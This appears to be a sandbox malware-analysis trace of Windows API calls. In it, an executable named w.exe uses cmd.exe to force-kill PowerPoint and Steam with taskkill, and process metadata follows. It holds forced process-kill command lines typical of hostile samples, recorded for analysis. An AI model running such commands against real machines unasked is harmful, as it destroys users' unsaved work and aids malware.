	[0046.386] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0046.386] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im powerpnt.exe ", fInfoLevelId=0x1, lpFindFileData=0x24f90c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f90c) returned 0xffffffff
	[0046.387] GetLastError () returned 0x3
	[0046.387] GetProcessHeap () returned 0x690000
	[0046.387] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aaa28 | out: hHeap=0x690000) returned 1
	[0046.387] GetProcessHeap () returned 0x690000
	[0046.387] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aea38 | out: hHeap=0x690000) returned 1
	[0046.387] GetProcessHeap () returned 0x690000
	[0046.387] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a6a10 | out: hHeap=0x690000) returned 1
	[0046.387] GetConsoleOutputCP () returned 0x1b5
	[0046.387] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a134260 | out: lpCPInfo=0x4a134260) returned 1
	[0046.387] GetUserDefaultLCID () returned 0x409
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a134950, cchData=8 | out: lpLCData=":") returned 2
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24fd38, cchData=128 | out: lpLCData="0") returned 2
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24fd38, cchData=128 | out: lpLCData="0") returned 2
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24fd38, cchData=128 | out: lpLCData="1") returned 2
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a134940, cchData=8 | out: lpLCData="/") returned 2
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a134d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a134d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a134d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a134cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a134c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a134c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a134c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a134930, cchData=8 | out: lpLCData=".") returned 2
	[0046.388] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a134920, cchData=8 | out: lpLCData=",") returned 2
	[0046.389] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0046.390] GetProcessHeap () returned 0x690000
	[0046.390] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x20c) returned 0x6a2f50
	[0046.390] GetConsoleTitleW (in: lpConsoleTitle=0x6a2f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0046.390] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0046.390] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0046.390] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0046.390] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0046.391] GetProcessHeap () returned 0x690000
	[0046.391] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x400a) returned 0x6a6a10
	[0046.391] GetProcessHeap () returned 0x690000
	[0046.391] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a6a10 | out: hHeap=0x690000) returned 1
	[0046.391] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0046.391] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0046.391] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0046.391] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0046.391] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0046.391] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0046.391] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0046.391] GetProcessHeap () returned 0x690000
	[0046.391] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x58) returned 0x6a3168
	[0046.391] GetProcessHeap () returned 0x690000
	[0046.391] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x1a) returned 0x6a5710
	[0046.392] GetProcessHeap () returned 0x690000
	[0046.392] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x34) returned 0x6a31c8
	[0046.393] GetConsoleTitleW (in: lpConsoleTitle=0x24fa30, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0046.393] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0046.393] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0046.393] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0046.393] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0046.393] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0046.393] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0046.393] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0046.393] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0046.393] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0046.393] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0046.393] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0046.393] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0046.393] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0046.393] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0046.393] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0046.393] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0046.394] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0046.394] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0046.394] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0046.394] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0046.394] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0046.394] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0046.394] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0046.394] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0046.394] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0046.394] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0046.394] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0046.394] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0046.394] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0046.394] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0046.394] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0046.394] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0046.394] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0046.394] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0046.394] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0046.394] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0046.394] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0046.394] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0046.394] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0046.394] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0046.394] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0046.394] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0046.394] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0046.394] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0046.394] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0046.394] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0046.394] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0046.394] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0046.394] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0046.395] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0046.395] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0046.395] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0046.395] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0046.395] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0046.395] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0046.395] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0046.395] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0046.395] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0046.395] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0046.395] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0046.395] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0046.395] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0046.395] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0046.395] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0046.395] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0046.395] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0046.395] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0046.395] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0046.395] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0046.395] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0046.395] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0046.395] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0046.395] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0046.395] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0046.395] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0046.395] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0046.395] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0046.395] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0046.395] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0046.395] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0046.395] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0046.395] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0046.395] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0046.395] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0046.395] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0046.396] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0046.396] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0046.396] GetProcessHeap () returned 0x690000
	[0046.396] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x210) returned 0x6a3208
	[0046.396] GetProcessHeap () returned 0x690000
	[0046.396] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x46) returned 0x6a3420
	[0046.396] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0046.396] GetProcessHeap () returned 0x690000
	[0046.396] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x418) returned 0x6907f0
	[0046.396] SetErrorMode (uMode=0x0) returned 0x8003
	[0046.396] SetErrorMode (uMode=0x1) returned 0x0
	[0046.396] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6907f8, lpFilePart=0x24f550 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f550*="Desktop") returned 0x25
	[0046.396] SetErrorMode (uMode=0x8003) returned 0x1
	[0046.397] GetProcessHeap () returned 0x690000
	[0046.397] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6907f0, Size=0x66) returned 0x6907f0
	[0046.397] GetProcessHeap () returned 0x690000
	[0046.397] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6907f0) returned 0x66
	[0046.397] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a140640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0046.397] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0046.397] GetProcessHeap () returned 0x690000
	[0046.397] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x120) returned 0x6a3470
	[0046.397] GetProcessHeap () returned 0x690000
	[0046.397] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x238) returned 0x690860
	[0046.399] GetProcessHeap () returned 0x690000
	[0046.399] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x690860, Size=0x122) returned 0x690860
	[0046.399] GetProcessHeap () returned 0x690000
	[0046.399] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x690860) returned 0x122
	[0046.399] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a140640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.399] GetProcessHeap () returned 0x690000
	[0046.399] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xe0) returned 0x690990
	[0046.399] GetProcessHeap () returned 0x690000
	[0046.399] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x690990, Size=0x76) returned 0x690990
	[0046.399] GetProcessHeap () returned 0x690000
	[0046.399] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x690990) returned 0x76
	[0046.399] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0046.399] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x24f2cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f2cc) returned 0xffffffff
	[0046.400] GetLastError () returned 0x2
	[0046.400] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x24f2cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f2cc) returned 0xffffffff
	[0046.400] GetLastError () returned 0x2
	[0046.400] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0046.400] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x24f2cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f2cc) returned 0x690a10
	[0046.400] GetProcessHeap () returned 0x690000
	[0046.400] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a3598
	[0046.400] FindClose (in: hFindFile=0x690a10 | out: hFindFile=0x690a10) returned 1
	[0046.400] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x24f2cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f2cc) returned 0xffffffff
	[0046.400] GetLastError () returned 0x2
	[0046.400] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x24f2cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f2cc) returned 0x690a10
	[0046.400] GetProcessHeap () returned 0x690000
	[0046.400] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a3598, Size=0x4) returned 0x6a3598
	[0046.400] FindClose (in: hFindFile=0x690a10 | out: hFindFile=0x690a10) returned 1
	[0046.400] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0046.401] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0046.401] GetConsoleTitleW (in: lpConsoleTitle=0x24f7c4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0046.401] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f64c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f714 | out: lpAttributeList=0x24f64c, lpSize=0x24f714) returned 1
	[0046.401] UpdateProcThreadAttribute (in: lpAttributeList=0x24f64c, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f70c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f64c, lpPreviousValue=0x0) returned 1
	[0046.401] GetStartupInfoW (in: lpStartupInfo=0x24f608 | out: lpStartupInfo=0x24f608*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0)) 
	[0046.401] GetProcessHeap () returned 0x690000
	[0046.401] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x18) returned 0x690a10
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.401] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0046.402] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0046.402] GetProcessHeap () returned 0x690000
	[0046.402] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x690a10 | out: hHeap=0x690000) returned 1
	[0046.402] GetProcessHeap () returned 0x690000
	[0046.402] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xa) returned 0x69fee0
	[0046.402] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0046.404] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im powerpnt.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f6a8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im powerpnt.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f6f4 | out: lpCommandLine="taskkill  /f /im powerpnt.exe ", lpProcessInformation=0x24f6f4*(hProcess=0x78, hThread=0x74, dwProcessId=0x664, dwThreadId=0x6ec)) returned 1
	[0046.408] CloseHandle (hObject=0x74) returned 1
	[0046.408] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0046.408] GetProcessHeap () returned 0x690000
	[0046.408] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5ed0 | out: hHeap=0x690000) returned 1
	[0046.409] GetEnvironmentStringsW () returned 0x6b4a48*
	[0046.409] GetProcessHeap () returned 0x690000
	[0046.409] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xb36) returned 0x6a4090
	[0046.409] FreeEnvironmentStringsW (penv=0x6b4a48) returned 1
	[0046.409] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0046.672] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x24f5e8 | out: lpExitCode=0x24f5e8*=0x80) returned 1
	[0046.672] CloseHandle (hObject=0x78) returned 1
	[0046.672] _vsnwprintf (in: _Buffer=0x24f730, _BufferCount=0x13, _Format="%08X", _ArgList=0x24f5f4 | out: _Buffer="00000080") returned 8
	[0046.672] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0046.672] GetProcessHeap () returned 0x690000
	[0046.672] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a4090 | out: hHeap=0x690000) returned 1
	[0046.672] GetEnvironmentStringsW () returned 0x6a4090*
	[0046.672] GetProcessHeap () returned 0x690000
	[0046.672] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xb5c) returned 0x6a5ed0
	[0046.672] FreeEnvironmentStringsW (penv=0x6a4090) returned 1
	[0046.672] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0046.672] GetProcessHeap () returned 0x690000
	[0046.672] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5ed0 | out: hHeap=0x690000) returned 1
	[0046.672] GetEnvironmentStringsW () returned 0x6a4090*
	[0046.672] GetProcessHeap () returned 0x690000
	[0046.672] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xb5c) returned 0x6a5ed0
	[0046.672] FreeEnvironmentStringsW (penv=0x6a4090) returned 1
	[0046.672] GetProcessHeap () returned 0x690000
	[0046.672] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x69fee0 | out: hHeap=0x690000) returned 1
	[0046.672] DeleteProcThreadAttributeList (in: lpAttributeList=0x24f64c | out: lpAttributeList=0x24f64c) 
	[0046.672] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0046.672] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0046.673] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0046.673] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a1341ac | out: lpMode=0x4a1341ac) returned 0
	[0046.673] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0046.673] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a1341b0 | out: lpMode=0x4a1341b0) returned 0
	[0046.673] GetConsoleOutputCP () returned 0x1b5
	[0046.673] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a134260 | out: lpCPInfo=0x4a134260) returned 1
	[0046.673] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0046.673] exit (_Code=128) 

Process:
	id = "65"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x48d7c000"
	os_pid = "0x664"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "64"
	os_parent_pid = "0x640"
	cmd_line = "taskkill  /f /im powerpnt.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 281
	os_tid = 0x6ec


Thread:
	id = 282
	os_tid = 0x73c


Thread:
	id = 283
	os_tid = 0xaac


Thread:
	id = 284
	os_tid = 0x2b0


Thread:
	id = 285
	os_tid = 0x994


Process:
	id = "66"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x49c0d000"
	os_pid = "0x848"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im steam.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
